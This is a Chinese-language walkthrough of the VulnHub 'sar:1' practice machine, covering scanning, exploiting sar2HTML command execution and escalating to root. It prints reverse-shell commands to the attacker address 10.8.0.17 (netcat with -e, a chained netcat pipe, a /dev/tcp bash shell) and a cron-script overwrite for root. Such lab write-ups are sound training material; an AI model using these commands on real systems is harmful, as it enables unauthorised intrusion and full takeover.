靶机地址

https://www.vulnhub.com/entry/sar-1,425/

信息收集阶段

进行全端口扫描,枚举目标的端口和服务

nmap -n -v -sS --max-retries=0 -p- 172.16.33.13

nmap -sV -p80 -A 172.16.33.13

只有80端口放通,扫描端口服务版本

访问web服务,发现是apache默认页面,无可用信息

使用dirsearch对目录进行扫描,发现有敏感文件phpinfo.phprobots.txt

访问robots.txt,发现有sar2HTML, 访问一下

利用漏洞拿shell

使用searchsploit查询有无sar2HTML的漏洞利用代码,结果如下

看一下具体内容,其实py文件就是txt文件的代码实现,使用py脚本

拿到普通权限,需要在远程主机弹一个shell回攻击机

尝试执行命令 nc 10.8.0.17 8888 -e /bin/bash,然后在攻击机上执行 nc -nvlp 8888

没有弹成功,怀疑是命令执行过滤了-e参数

有两种思路可以绕过,都可以成功执行

第一为NC串联

> sar-command
nc 10.8.0.17 6666 | /bin/bash | nc 10.8.0.17 8888 > kali
> 开两个窗口 nc -nvlp 6666 # 用于输入命令
nc -nvlp 8888 # 用于输出结果

效果如下

第二种为对反弹shell进行编码

提权

先用linpeas.sh脚本对提权信息进行收集

发现有一个计划任务可尝试利用

查看改脚本文件,发现执行的是另一个脚本文件write.sh,查看权限发现其可写可执行,尝试写shell

echo "bash -c 'exec bash -i &>/dev/tcp/10.8.0.17/6666 >&1'" > write.sh

攻击机上监听 6666 端口,过一段时间即可获得 root 权限

最新文章

  1. 【Beta】第5.5次任务发布
  2. 顺序表C语言版
  3. C语言 三级指针的应用
  4. GenericServlet,HttpServletRequest和HttpServletResponse
  5. elasticsearch 跨网段组集群
  6. ubuntu常见错误--Could not get lock /var/lib/dpkg/lock解
  7. jquery $.trim()方法使用介绍
  8. JAVA与C++的区别和联系
  9. 几个常用的linux快捷键和shell知识
  10. (转)面试大总结之一:Java搞定面试中的链表题目
  11. 【刷题】【LeetCode】总
  12. root密码重置、Linux目录结构和远程连接Linux
  13. 对称与非对称加密;SSL;HTTPS;AJP
  14. tar.gz压缩,查看,解压
  15. background-clip 和 background-origin 的区别
  16. Linux fdisk普通分区扩容
  17. 通用Mapper
  18. 20155227《网络对抗》Exp4 恶意代码分析
  19. 解决最小化安装Centos7后无法上网的问题,以及安装成功后的基本配置
  20. SQL实现数据行列转换

热门文章

  1. 解决安装node-sass报错的方法
  2. 静态static关键字概述-静态static关键字修饰成员变量
  3. C#如何提高代码质量(二)
  4. SQLSERVER 临时表和表变量到底有什么区别?
  5. js实现一二级域名共享cookie
  6. chatGPT帮助开发实战解答问题和反思
  7. Java基础语法:类型转换、变量、常量
  8. ubuntu18.04 server版安装教程
  9. 化学式latex语法
  10. LeetCode-1145 二叉树着色游戏